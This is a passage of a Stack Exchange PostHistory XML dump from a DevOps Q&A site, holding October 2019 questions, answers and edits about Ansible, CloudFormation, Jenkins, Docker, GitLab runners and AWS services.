   ok: [localhost] =&gt; (item={u'uid': 0, u'woth': False, u'mtime': 1571850217.1323407, u'inode': 31195169, u'isgid': False, u'size': 40654, u'roth': True, u'isuid': False, u'isreg': True, u'pw_name': u'root', u'gid': 0, u'ischr': False, u'wusr': True, u'xoth': False, u'rusr': True, u'nlink': 1, u'issock': False, u'rgrp': True, u'gr_name': u'root', u'path': u'/home/local_repository/tree_1.7.0-5_amd64.deb', u'xusr': False, u'atime': 1571850397.4392931, u'isdir': False, u'ctime': 1571850312.2437878, u'wgrp': False, u'xgrp': False, u'dev': 2051, u'isblk': False, u'isfifo': False, u'mode': u'0644', u'islnk': False})&#xD;&#xA;    ok: [localhost] =&gt; (item={u'uid': 0, u'woth': False, u'mtime': 1571850217.0163412, u'inode': 31195168, u'isgid': False, u'size': 52132, u'roth': True, u'isuid': False, u'isreg': True, u'pw_name': u'root', u'gid': 0, u'ischr': False, u'wusr': True, u'xoth': False, u'rusr': True, u'nlink': 1, u'issock': False, u'rgrp': True, u'gr_name': u'root', u'path': u'/home/local_repository/dstat_0.7.3-1_all.deb', u'xusr': False, u'atime': 1571850399.3192823, u'isdir': False, u'ctime': 1571850312.2437878, u'wgrp': False, u'xgrp': False, u'dev': 2051, u'isblk': False, u'isfifo': False, u'mode': u'0644', u'islnk': False})&#xD;&#xA;            to retry, use: --limit @/home/upgrade/ansible/install_dependencies.retry&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP ****************************************************************************************************************************************************************************************************&#xD;&#xA;    localhost                  : ok=2    changed=0    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28502" PostHistoryTypeId="1" PostId="9546" RevisionGUID="de25eaee-3c11-436e-bd27-bbbef7c7060e" CreationDate="2019-10-23T17:22:53.037" UserId="17763" Text="How to resolve the dependencies while installing locally downloaded packages using Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28503" PostHistoryTypeId="3" PostId="9546" RevisionGUID="de25eaee-3c11-436e-bd27-bbbef7c7060e" CreationDate="2019-10-23T17:22:53.037" UserId="17763" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28504" PostHistoryTypeId="2" PostId="9547" RevisionGUID="3f38b98e-f930-45ad-90fb-e04bacc95b71" CreationDate="2019-10-23T17:58:09.247" UserId="11221" Text="Without much data you are really guessing, the general thought I have heard before is to start at 80% SLO then work your way up as you have data to back up your goal. There really is not set way of figuring out a SLO without some data. Even taking and using a week's data would be good enough to give you a reasonable idea." ContentLicense="CC BY-SA 4.0" />
  <row Id="28505" PostHistoryTypeId="50" PostId="9237" RevisionGUID="5b60bfa8-2fb9-4f69-9ddb-030a0ddd8cf8" CreationDate="2019-10-23T20:00:50.110" UserId="-1" />
  <row Id="28506" PostHistoryTypeId="2" PostId="9548" RevisionGUID="fa9410e9-26ed-4473-bc9a-d76a1011de6b" CreationDate="2019-10-23T20:08:44.003" UserId="11221" Text="I have a cloud formation template that I want to import some values from another template. Currently the other template exports a string by joining together an array (better way of doing this?). &#xD;&#xA;&#xD;&#xA;In my template I want to import into I am getting the below error when trying to update my stack in the AWS console.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```Template format error: YAML not well-formed. (line 71, column 28)```&#xD;&#xA;&#xD;&#xA;Here is lines 70 and 71 from my YAML file&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;SubnetId: &#xD;&#xA;        Fn::Select [ &quot;0&quot;, [ Fn::Split: [ &quot;,&quot;, Fn::ImportValue [ !Sub &quot;${ExportPrefix}-SubNets&quot;] ] ] ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have checked and all spaces should be spaces and all tabs be tabs. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28507" PostHistoryTypeId="1" PostId="9548" RevisionGUID="fa9410e9-26ed-4473-bc9a-d76a1011de6b" CreationDate="2019-10-23T20:08:44.003" UserId="11221" Text="Cloudformation YAML not well-formed" ContentLicense="CC BY-SA 4.0" />
  <row Id="28508" PostHistoryTypeId="3" PostId="9548" RevisionGUID="fa9410e9-26ed-4473-bc9a-d76a1011de6b" CreationDate="2019-10-23T20:08:44.003" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28509" PostHistoryTypeId="5" PostId="9548" RevisionGUID="85d222ac-2834-475a-9cdd-c23a3a79eaa8" CreationDate="2019-10-23T20:14:13.003" UserId="11221" Comment="Added the other close thing I tried" Text="I have a cloud formation template that I want to import some values from another template. Currently the other template exports a string by joining together an array (better way of doing this?). &#xD;&#xA;&#xD;&#xA;In my template I want to import into I am getting the below error when trying to update my stack in the AWS console.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```Template format error: YAML not well-formed. (line 71, column 28)```&#xD;&#xA;&#xD;&#xA;Here is lines 70 and 71 from my YAML file&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;SubnetId: &#xD;&#xA;        Fn::Select [ &quot;0&quot;, [ Fn::Split: [ &quot;,&quot;, Fn::ImportValue [ !Sub &quot;${ExportPrefix}-SubNets&quot;] ] ] ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Have also tried this..&#xD;&#xA;```&#xD;&#xA;Fn::Select [ &quot;0&quot;, [ {Fn::Split: [ &quot;,&quot;, Fn::ImportValue [ {Fn::Sub &quot;${ExportPrefix}-SubNets&quot;}] ]} ] ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have checked and all spaces should be spaces and all tabs be tabs. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28514" PostHistoryTypeId="2" PostId="9550" RevisionGUID="0455d37f-7555-4ed5-9866-52d038f81fd9" CreationDate="2019-10-23T20:29:26.820" UserId="4328" Text="The split function returns a list of strings. I believe encapsulating the function in a list is what is giving you the error. Have you tried removing the brackets around the split function? Something like:&#xD;&#xA;&#xD;&#xA;    !Select [ &quot;0&quot;,  !Split [ &quot;,&quot; , !ImportValue [ !Sub &quot;${ExportPrefix}-SubNets&quot; ] ] ]" ContentLicense="CC BY-SA 4.0" />
  <row Id="28519" PostHistoryTypeId="2" PostId="9552" RevisionGUID="56a091ce-fbb7-4ed0-b825-0ee283058ddb" CreationDate="2019-10-23T21:20:58.600" UserId="17664" Text="# About&#xD;&#xA;&#xD;&#xA;I am developing a piece of software which consists of a Node.js application which controls a virtual machine that runs Android-x86. Also there are some pieces of the Android SDK like ADB the software depends on.&#xD;&#xA;&#xD;&#xA;# My current approach&#xD;&#xA;&#xD;&#xA;Currently there is no smart way of deployment whatsoever at all. Everything has to be installed manually. Depending on the system I also get issues regarding networking and so on from time to time. I also created another question [here](https://devops.stackexchange.com/questions/9466/deploying-software-that-depends-on-a-virtual-machine-using-docker) where I first thought about using Docker.&#xD;&#xA;&#xD;&#xA;# My problem&#xD;&#xA;&#xD;&#xA;While researching if I can solve this using Docker I came up with solutions that require Kubernetes as well. I want to deploy the software to non-tech savvy users as well. So I cannot afford to have Docker and Kubernetes as dependencies due to the complexity of the installation process.&#xD;&#xA;&#xD;&#xA;# My question&#xD;&#xA;&#xD;&#xA;Is there any technology that I am not aware of that can simplify the setup process for the end user? The perfect scenario would be a virtual machine or container containing the whole environment that can somehow be converted to a single binary which can be installed/executed." ContentLicense="CC BY-SA 4.0" />
  <row Id="28520" PostHistoryTypeId="1" PostId="9552" RevisionGUID="56a091ce-fbb7-4ed0-b825-0ee283058ddb" CreationDate="2019-10-23T21:20:58.600" UserId="17664" Text="Deploying software that depends on a virtual machine for non-tech savvy users" ContentLicense="CC BY-SA 4.0" />
  <row Id="28521" PostHistoryTypeId="3" PostId="9552" RevisionGUID="56a091ce-fbb7-4ed0-b825-0ee283058ddb" CreationDate="2019-10-23T21:20:58.600" UserId="17664" Text="&lt;deployment&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28526" PostHistoryTypeId="2" PostId="9553" RevisionGUID="67899bb0-e927-465b-9d82-0c40bc24c71a" CreationDate="2019-10-24T01:18:22.293" UserId="17774" Text="I'm using an AWS account which has different roles for the different environments we use. For example, we have a `Development` role for our development environment and a `Production` role for our production environment.&#xD;&#xA;&#xD;&#xA;At any point of time, we switch into one of the roles to access the services in the particular environment. Neither roles can see nor access each other's services and they function as though they are separate accounts.&#xD;&#xA;&#xD;&#xA;The problem now is, there are some application issues with an RDS instance in the production environment. The production database resides in the `Production` role. My intention is to clone the database in production over to the development environment for debugging reasons. However, since the environments are in different roles, they can't see each other's resources. The snapshots of the databases in one environment is not visible in another.&#xD;&#xA;&#xD;&#xA;Since the roles are technically not accounts, I can't use the &quot;Share snapshot&quot; feature too because that would require me to input an account number instead of a role name.&#xD;&#xA;&#xD;&#xA;Is it possible for me to allow the use of RDS snapshots across account roles so that I can clone the RDS instances? If so, how can I do it in the AWS console?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28527" PostHistoryTypeId="1" PostId="9553" RevisionGUID="67899bb0-e927-465b-9d82-0c40bc24c71a" CreationDate="2019-10-24T01:18:22.293" UserId="17774" Text="How to share RDS snapshots across account roles?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28528" PostHistoryTypeId="3" PostId="9553" RevisionGUID="67899bb0-e927-465b-9d82-0c40bc24c71a" CreationDate="2019-10-24T01:18:22.293" UserId="17774" Text="&lt;amazon-web-services&gt;&lt;databases&gt;&lt;amazon-rds&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28529" PostHistoryTypeId="5" PostId="9553" RevisionGUID="04bc4404-91cd-48a6-bbd2-70e22cd916a1" CreationDate="2019-10-24T01:23:41.557" UserId="17774" Comment="added 13 characters in body" Text="I'm using an AWS account which has different roles for the different environments we use. For example, we have a `Development` role for our development environment and a `Production` role for our production environment.&#xD;&#xA;&#xD;&#xA;At any point of time, we switch into or assume as one of the roles to access the services in the particular environment. Neither roles can see nor access each other's services and they function as though they are separate accounts.&#xD;&#xA;&#xD;&#xA;The problem now is, there are some application issues with an RDS instance in the production environment. The production database resides in the `Production` role. My intention is to clone the database in production over to the development environment for debugging reasons. However, since the environments are in different roles, they can't see each other's resources. The snapshots of the databases in one environment is not visible in another.&#xD;&#xA;&#xD;&#xA;Since the roles are technically not accounts, I can't use the &quot;Share snapshot&quot; feature too because that would require me to input an account number instead of a role name.&#xD;&#xA;&#xD;&#xA;Is it possible for me to allow the use of RDS snapshots across account roles so that I can clone the RDS instances? If so, how can I do it in the AWS console?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28530" PostHistoryTypeId="2" PostId="9554" RevisionGUID="2ca09713-9e58-470e-8362-fd54bb4f4c26" CreationDate="2019-10-24T04:37:06.287" UserId="17622" Text="I have a HAProxy server setup in Azure Linux Machine. How can I run a HAProxy start/stop command from Jenkins? " ContentLicense="CC BY-SA 4.0" />
  <row Id="28531" PostHistoryTypeId="1" PostId="9554" RevisionGUID="2ca09713-9e58-470e-8362-fd54bb4f4c26" CreationDate="2019-10-24T04:37:06.287" UserId="17622" Text="Run command from Jenkins to Linux Server" ContentLicense="CC BY-SA 4.0" />
  <row Id="28532" PostHistoryTypeId="3" PostId="9554" RevisionGUID="2ca09713-9e58-470e-8362-fd54bb4f4c26" CreationDate="2019-10-24T04:37:06.287" UserId="17622" Text="&lt;jenkins&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28533" PostHistoryTypeId="2" PostId="9555" RevisionGUID="30a75d78-a00d-47f1-ae70-d593162f0561" CreationDate="2019-10-24T04:43:17.703" UserId="17776" Text="I am looking for some powershell command which can check if any update/patch need to be applied to existing azure linux vm and then apply the patch if required. &#xD;&#xA;I will then use this powershell command to automate the process.&#xD;&#xA;There was an extension at https://azure.microsoft.com/en-au/blog/automate-linux-vm-os-updates-using-ospatching-extension/ but that appears to be outdated now." ContentLicense="CC BY-SA 4.0" />
  <row Id="28534" PostHistoryTypeId="1" PostId="9555" RevisionGUID="30a75d78-a00d-47f1-ae70-d593162f0561" CreationDate="2019-10-24T04:43:17.703" UserId="17776" Text="powershell command to automate azure linux vm" ContentLicense="CC BY-SA 4.0" />
  <row Id="28535" PostHistoryTypeId="3" PostId="9555" RevisionGUID="30a75d78-a00d-47f1-ae70-d593162f0561" CreationDate="2019-10-24T04:43:17.703" UserId="17776" Text="&lt;azure-devops&gt;&lt;linux&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28536" PostHistoryTypeId="2" PostId="9556" RevisionGUID="7cc72f8e-c40e-448c-97e7-652de8d5c668" CreationDate="2019-10-24T06:38:37.530" UserId="8251" Text="To my knowledge there are only Tag based Iam policies available to limit access to resources for certain users or user groups.&#xA;&#xA;Because of this, you should simply be able to tag an RDS snapshot both production and development for you to access it with your development user or group.&#xA;&#xA;There are a large number of security considerations to think through, so don't undermine the security setup. I would therefore expect that only manual tagging is appropriate for this specific use case" ContentLicense="CC BY-SA 4.0" />
  <row Id="28537" PostHistoryTypeId="5" PostId="9554" RevisionGUID="32996bae-ca7d-4519-8a0c-b85989f77790" CreationDate="2019-10-24T06:58:50.577" UserId="17622" Comment="added 25 characters in body" Text="I have a HAProxy server setup in Azure Linux Machine. How can I run a HAProxy start/stop command from Jenkins to multiple Linux server? " ContentLicense="CC BY-SA 4.0" />
  <row Id="28538" PostHistoryTypeId="2" PostId="9557" RevisionGUID="4088831e-7c60-4a51-997b-1be60475bbb0" CreationDate="2019-10-24T07:35:35.087" UserId="354" Text="If you have ssh access from the Jenkins machine to the HAProxy machine, you could run an Ansible task:&#xD;&#xA;&#xD;&#xA;`ansible -i ha-inventory.ini ha-servers -m service -a name=haproxy state=restarted`&#xD;&#xA;&#xD;&#xA;Of course you could also have Jenkins do a simple ssh :&#xD;&#xA;&#xD;&#xA;`for server in ${server_list} ; do ssh server 'sudo service haproxy restart' ; done`&#xD;&#xA;&#xD;&#xA;For both of these, you would need &#xD;&#xA;&#xD;&#xA;- ssh keys set up between Jenkins and the HAProxy servers&#xD;&#xA;- sudo rights for restarting the service (at least) for the connecting user (probably `jenkins`)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28539" PostHistoryTypeId="50" PostId="9161" RevisionGUID="74016454-17b7-472f-abf4-0924531cdb27" CreationDate="2019-10-24T08:03:00.480" UserId="-1" />
  <row Id="28540" PostHistoryTypeId="50" PostId="9129" RevisionGUID="742e18d0-030e-491a-9957-d0b0ff9cb021" CreationDate="2019-10-24T09:02:45.413" UserId="-1" />
  <row Id="28544" PostHistoryTypeId="2" PostId="9559" RevisionGUID="5d467446-0df5-4a21-881e-33df0362a382" CreationDate="2019-10-24T09:37:26.427" UserId="17606" Text="I argue that K8s+docker is a good approach even for a non tech person. For k8s you can use microk8s which is available on linux, windows and macos. It creates a local, single-node k8s cluster for you. You can write a script (if the target OS is linux or mac) and automate the installation of kubectl, microk8s, enable addons and install your component k8s yaml file. If the target OS is windows you have to see how they automate stuff and use that method." ContentLicense="CC BY-SA 4.0" />
  <row Id="28547" PostHistoryTypeId="2" PostId="9560" RevisionGUID="f5bb928f-a57a-4911-9985-05ae94404384" CreationDate="2019-10-24T10:55:17.537" UserId="16854" Text="I want to get git current checkout BRANCH NAME in my Jenkins file here is the code snippet... &#xA;Here I am trying to push a file to my current branch &#xA;I have tried many things could not find it... &#xA;&#xA;&#xA;&#xA;&#xA;stage('Push yaml file to bitbucket'){&#xA;     steps{&#xA;withCredentials([usernamePassword(credentialsId: '8e2ca0a6-2dc5-4f89-b76a-03076d6b0843', passwordVariable: 'GIT_PASSWORD', usernameVariable: 'GIT_USERNAME')]) {&#xA;                    sh '''&#xA;                        echo '#!/bin/sh' &gt; /home/jenkins/git_askpass.sh&#xA;                        echo &quot;exec echo \&quot;${GIT_PASSWORD}\&quot;&quot; &gt; /home/jenkins/git_askpass.sh&#xA;                        chmod 775 /home/jenkins/git_askpass.sh&#xA;                        echo &quot;user: ${GIT_USERNAME}&quot;&#xA;                        GIT_ASKPASS=/home/jenkins/git_askpass.sh&#xA;                        export GIT_ASKPASS&#xA;                        cat /home/jenkins/git_askpass.sh&#xA;                        pwd&#xA;                        git status&#xA;git checkout feature/OSCCX-44(here I want branch name )&#xA;                        git config --global user.email &quot;xyz.com&quot;&#xA;                        git config --global user.name &quot;xyz&quot;&#xA;                        git add yaml_dev/04-idm-frontend-depl.yaml                &#xA;                        git commit -m &quot;jenkins commit&quot;&#xA;                        git push https://${GIT_USERNAME}@bitbucket/repository '''&#xA;}&#xA;}&#xA;}&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28548" PostHistoryTypeId="1" PostId="9560" RevisionGUID="f5bb928f-a57a-4911-9985-05ae94404384" CreationDate="2019-10-24T10:55:17.537" UserId="16854" Text="JenkinsFile to get git branch name" ContentLicense="CC BY-SA 4.0" />
  <row Id="28549" PostHistoryTypeId="3" PostId="9560" RevisionGUID="f5bb928f-a57a-4911-9985-05ae94404384" CreationDate="2019-10-24T10:55:17.537" UserId="16854" Text="&lt;git&gt;&lt;jenkinsfile&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28550" PostHistoryTypeId="2" PostId="9561" RevisionGUID="09fcb81c-0f28-4a68-b82f-7b02e2ca787e" CreationDate="2019-10-24T12:43:49.233" UserId="17348" Text="I've set up a Gitlab registry with self-signed certificate. After that I had to convince docker app to trust my CA, I did this by putting CA.crt into &#xD;&#xA;    &#xD;&#xA;    /etc/docker/certs.d/registry.gitlab.yourdomain:5000&#xD;&#xA;&#xD;&#xA;But you have to convince docker executor and dind service in Gitlab Runner too, I've done this by passing cert through volumes in `config.toml`:&#xD;&#xA; &#xD;&#xA;    volumes = [&quot;/cache&quot;, &quot;/certs/client&quot;, &quot;path/to/cert/ca.crt:/etc/docker/registry.gitlab.yourdomain:5000/ca.crt&quot;]&#xD;&#xA;&#xD;&#xA;See the problem? Gitlab Runner uses old volume specification, so `:5000` part will break it. I know about existence of `pre_clone_script`, so that you can map your cert into some folder and then move it. But that will not solve the dind service problem - `pre_clone_script` will only be executed in 'main' container." ContentLicense="CC BY-SA 4.0" />
  <row Id="28551" PostHistoryTypeId="1" PostId="9561" RevisionGUID="09fcb81c-0f28-4a68-b82f-7b02e2ca787e" CreationDate="2019-10-24T12:43:49.233" UserId="17348" Text="Gitlab runner, docker registry and self-signed certs" ContentLicense="CC BY-SA 4.0" />
  <row Id="28552" PostHistoryTypeId="3" PostId="9561" RevisionGUID="09fcb81c-0f28-4a68-b82f-7b02e2ca787e" CreationDate="2019-10-24T12:43:49.233" UserId="17348" Text="&lt;docker&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28553" PostHistoryTypeId="5" PostId="9560" RevisionGUID="f041826c-1dad-4858-a12b-975eefea2797" CreationDate="2019-10-24T12:46:35.140" UserId="1202" Comment="reformat to make lisible" Text="I want to get git current checkout BRANCH NAME in my Jenkins file here is the code snippet... &#xD;&#xA;Here I am trying to push a file to my current branch &#xD;&#xA;I have tried many things could not find it... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stage('Push yaml file to bitbucket'){&#xD;&#xA;      steps{&#xD;&#xA;        withCredentials([usernamePassword(credentialsId: '8e2ca0a6-2dc5-4f89-b76a-03076d6b0843', passwordVariable: 'GIT_PASSWORD', usernameVariable: 'GIT_USERNAME')]) {&#xD;&#xA;          sh '''&#xD;&#xA;            echo '#!/bin/sh' &gt; /home/jenkins/git_askpass.sh&#xD;&#xA;            echo &quot;exec echo \&quot;${GIT_PASSWORD}\&quot;&quot; &gt; /home/jenkins/git_askpass.sh&#xD;&#xA;            chmod 775 /home/jenkins/git_askpass.sh&#xD;&#xA;            echo &quot;user: ${GIT_USERNAME}&quot;&#xD;&#xA;            GIT_ASKPASS=/home/jenkins/git_askpass.sh&#xD;&#xA;            export GIT_ASKPASS&#xD;&#xA;            cat /home/jenkins/git_askpass.sh&#xD;&#xA;            pwd&#xD;&#xA;            git status&#xD;&#xA;            git checkout feature/OSCCX-44(here I want branch name )&#xD;&#xA;            git config --global user.email &quot;xyz.com&quot;&#xD;&#xA;            git config --global user.name &quot;xyz&quot;&#xD;&#xA;            git add yaml_dev/04-idm-frontend-depl.yaml                &#xD;&#xA;            git commit -m &quot;jenkins commit&quot;&#xD;&#xA;            git push https://${GIT_USERNAME}@bitbucket/repository '''&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28560" PostHistoryTypeId="50" PostId="9263" RevisionGUID="5bd91cb6-1b39-4c77-8321-c76bb4b458bb" CreationDate="2019-10-24T15:01:45.213" UserId="-1" />
  <row Id="28561" PostHistoryTypeId="2" PostId="9564" RevisionGUID="217d2dfb-8d44-41af-84fc-c5aff47dc537" CreationDate="2019-10-24T15:27:14.233" UserId="17785" Text="I'm a jr. developer and I'm being required to learn docker. I googled around and read a bunch of articles about docker but couldn't really understand what it was for, what problem does it solve.&#xD;&#xA;&#xD;&#xA;Example about GIT. When I was at university when we had our thesis, my groupmates and I use facebook messenger or email to pass parts of the code, we indicate what file is it for and on what line, so I understand how GIT resolves a problem. but what about docker? When I deployed to AWS, I ssh thru the server, git clone your repo, do an npm install, so whats the difference? I still have to do that right but with one command? `docker compose run` or something? so thats it? hope someone can explain it to me. thank you and have a good day." ContentLicense="CC BY-SA 4.0" />
  <row Id="28562" PostHistoryTypeId="1" PostId="9564" RevisionGUID="217d2dfb-8d44-41af-84fc-c5aff47dc537" CreationDate="2019-10-24T15:27:14.233" UserId="17785" Text="What is docker? what problems does it solve?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28563" PostHistoryTypeId="3" PostId="9564" RevisionGUID="217d2dfb-8d44-41af-84fc-c5aff47dc537" CreationDate="2019-10-24T15:27:14.233" UserId="17785" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28565" PostHistoryTypeId="2" PostId="9565" RevisionGUID="968a35f8-8751-420c-9bc9-6d61ed007389" CreationDate="2019-10-24T15:58:09.503" UserId="15792" Text="[Docker][1] is a technology that allows you to create OS-level virtualization for software delivery.  There are [many][2], [many][3] articles written about what this technology is, how it can help developers and companies, and tutorials on how to [get started][4].&#xD;&#xA;&#xD;&#xA;To answer your question of why as a developer you may care (non-exhaustive list):&#xD;&#xA;&#xD;&#xA; - Building an application that is immediately ready for deployment.&#xD;&#xA; - Removing cumbersome installs for quick prototyping and testing.  I use it all the time to setup a [SQL server][5] to test scripts before deploying them.&#xD;&#xA; - Removes the &quot;It works on my machine&quot; since all the application dependencies are in a &quot;container&quot;.&#xD;&#xA; - Allows you to easily run and port services that usually would require several minutes of installations and configurations.&#xD;&#xA;&#xD;&#xA;For your AWS example, imagine not having to SSH into a server, pull source down, and setup the environment **every time** you want to scale up or out.  Most cloud providers now have options to deploy your containers and not worry about all those steps (see [AWS ECS][6]).&#xD;&#xA;&#xD;&#xA;The [Docker-Compose][7] you mentioned is slightly different in that it is a way to easily run multiple containerized services together.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Docker_%28software%29&#xD;&#xA;  [2]: https://www.zdnet.com/article/what-is-docker-and-why-is-it-so-darn-popular/&#xD;&#xA;  [3]: https://www.linode.com/docs/applications/containers/when-and-why-to-use-docker/&#xD;&#xA;  [4]: https://docs.docker.com/get-started/&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/sql/linux/quickstart-install-connect-docker?view=sql-server-ver15&amp;pivots=cs1-bash&#xD;&#xA;  [6]: https://aws.amazon.com/ecs/&#xD;&#xA;  [7]: https://docs.docker.com/compose/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28566" PostHistoryTypeId="2" PostId="9566" RevisionGUID="da9e26c2-bfc4-495c-be69-de0f02ee4d9e" CreationDate="2019-10-24T16:38:19.527" UserId="17786" Text="All the tutorials I've seen for AWS Secrets Manager have secrets being retrieved by the CLI. How is this done in production? &#xD;&#xA;&#xD;&#xA;Can I mount a set of secrets to a docker container as a file? " ContentLicense="CC BY-SA 4.0" />
  <row Id="28567" PostHistoryTypeId="1" PostId="9566" RevisionGUID="da9e26c2-bfc4-495c-be69-de0f02ee4d9e" CreationDate="2019-10-24T16:38:19.527" UserId="17786" Text="Accessing AWS Secrets Manager from Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="28568" PostHistoryTypeId="3" PostId="9566" RevisionGUID="da9e26c2-bfc4-495c-be69-de0f02ee4d9e" CreationDate="2019-10-24T16:38:19.527" UserId="17786" Text="&lt;docker&gt;&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28570" PostHistoryTypeId="5" PostId="8373" RevisionGUID="26d04e33-42a6-49e1-adce-63cb0f591528" CreationDate="2019-10-24T19:16:02.190" UserId="40" Comment="fix formatting" Text="How I see there is two options (from my exp):&#xD;&#xA;&#xD;&#xA;1. Use configuration for provider. &#xD;&#xA;https://www.terraform.io/docs/providers/helm/index.html, there is option to install tiller.&#xD;&#xA;2. Use prefabricated modules, for example:&#xD;&#xA;https://github.com/sagikazarmark/terraform-tiller&#xD;&#xA;https://registry.terraform.io/modules/Vidimensional/tiller/kubernetes/0.0.1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28571" PostHistoryTypeId="2" PostId="9567" RevisionGUID="1d4d7cbb-1e2e-41bc-a6c0-f9e690ff1bc4" CreationDate="2019-10-24T20:03:07.140" UserId="11221" Text="I am trying to use cloudformation to setup a ASG and I have a target group which I would like to associate with the ASG. The target group is created okay but when I go to attach it to the ASG I get an error message. I'd like to be able to attach this as I want a ALB in front of the ASG&#xD;&#xA;&#xD;&#xA;Error message:&#xD;&#xA;&#xD;&#xA;    Value of property TargetGroupARNs must be of type List of String&#xD;&#xA;&#xD;&#xA;Cloudformation code&#xD;&#xA;&#xD;&#xA;    TargetGroup:&#xD;&#xA;        Type: AWS::ElasticLoadBalancingV2::TargetGroup&#xD;&#xA;        Properties:&#xD;&#xA;          VpcId: &#xD;&#xA;            Fn::ImportValue: &#xD;&#xA;              !Sub &quot;${Prefix}-VpcId&quot;&#xD;&#xA;          TargetType: instance&#xD;&#xA;          Port: 443&#xD;&#xA;          Protocol: HTTPS&#xD;&#xA;    AutoScalingGroup:&#xD;&#xA;        Type: AWS::AutoScaling::AutoScalingGroup&#xD;&#xA;        Properties:&#xD;&#xA;          AutoScalingGroupName: Autoscaling Group Alpha&#xD;&#xA;          Cooldown: 120&#xD;&#xA;          DesiredCapacity: 1&#xD;&#xA;          LaunchConfigurationName: AlphaLaunchConfiguration&#xD;&#xA;          MaxSize: 1&#xD;&#xA;          MinSize: 1&#xD;&#xA;          Tags:&#xD;&#xA;            - &#xD;&#xA;              Key: Name&#xD;&#xA;              Value: Alpha ASG&#xD;&#xA;              PropagateAtLaunch: 'true'&#xD;&#xA;          TargetGroupARNs:&#xD;&#xA;            Ref: TargetGroup" ContentLicense="CC BY-SA 4.0" />
  <row Id="28572" PostHistoryTypeId="1" PostId="9567" RevisionGUID="1d4d7cbb-1e2e-41bc-a6c0-f9e690ff1bc4" CreationDate="2019-10-24T20:03:07.140" UserId="11221" Text="Cloudformation issue with target groups and ASG" ContentLicense="CC BY-SA 4.0" />
  <row Id="28573" PostHistoryTypeId="3" PostId="9567" RevisionGUID="1d4d7cbb-1e2e-41bc-a6c0-f9e690ff1bc4" CreationDate="2019-10-24T20:03:07.140" UserId="11221" Text="&lt;autoscaling&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28575" PostHistoryTypeId="5" PostId="5928" RevisionGUID="9cfdf482-bbf7-40f8-9371-bee4a19c4d0c" CreationDate="2019-10-24T21:01:50.333" UserId="40" Comment="Integrate comments from OPer " Text="In Ansible, I want to use a plugin parameter.  For example, the [`profile_tasks` plugin](https://docs.ansible.com/ansible/latest/plugins/callback/profile_tasks.html) supports a parameter to &quot;Adjust the sorting output of summary tasks&quot;.&#xD;&#xA;&#xD;&#xA;I enable this plugin by whitelisting it in the `ansible.cfg` file by:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    callback_whitelist = profile_tasks&#xD;&#xA;&#xD;&#xA;But how do I use the parameter supported by the plugin?&#xD;&#xA;&#xD;&#xA;Note: I just want to use it but I don't know how to. The document says &quot;parameter&quot; and normally I think the way to use a parameter is to &quot;pass a parameter to a function/command line&quot; so that's why I asked &quot;how to pass a parameter&quot;. What I want to know is &quot;How to use a plugin parameter&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="28576" PostHistoryTypeId="4" PostId="5928" RevisionGUID="9cfdf482-bbf7-40f8-9371-bee4a19c4d0c" CreationDate="2019-10-24T21:01:50.333" UserId="40" Comment="Integrate comments from OPer " Text="How to use a plugin parameter?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28577" PostHistoryTypeId="2" PostId="9568" RevisionGUID="52f51780-54c0-4a78-9623-40c33e6c5abd" CreationDate="2019-10-25T00:35:01.270" UserId="17790" Text="I'm newbie in AWS usage.  &#xD;&#xA;I don't understand the difference between EKS and EC2 installed kubernets?  &#xD;&#xA;&#xD;&#xA;&gt; Amazon EKS makes it easy for you to run Kubernetes on AWS without needing to install and operate your own Kubernetes clusters.   &#xD;&#xA;&#xD;&#xA;Does this means that we could install Kubernets to EC2 and use EC2 instead of EKS?" ContentLicense="CC BY-SA 4.0" />
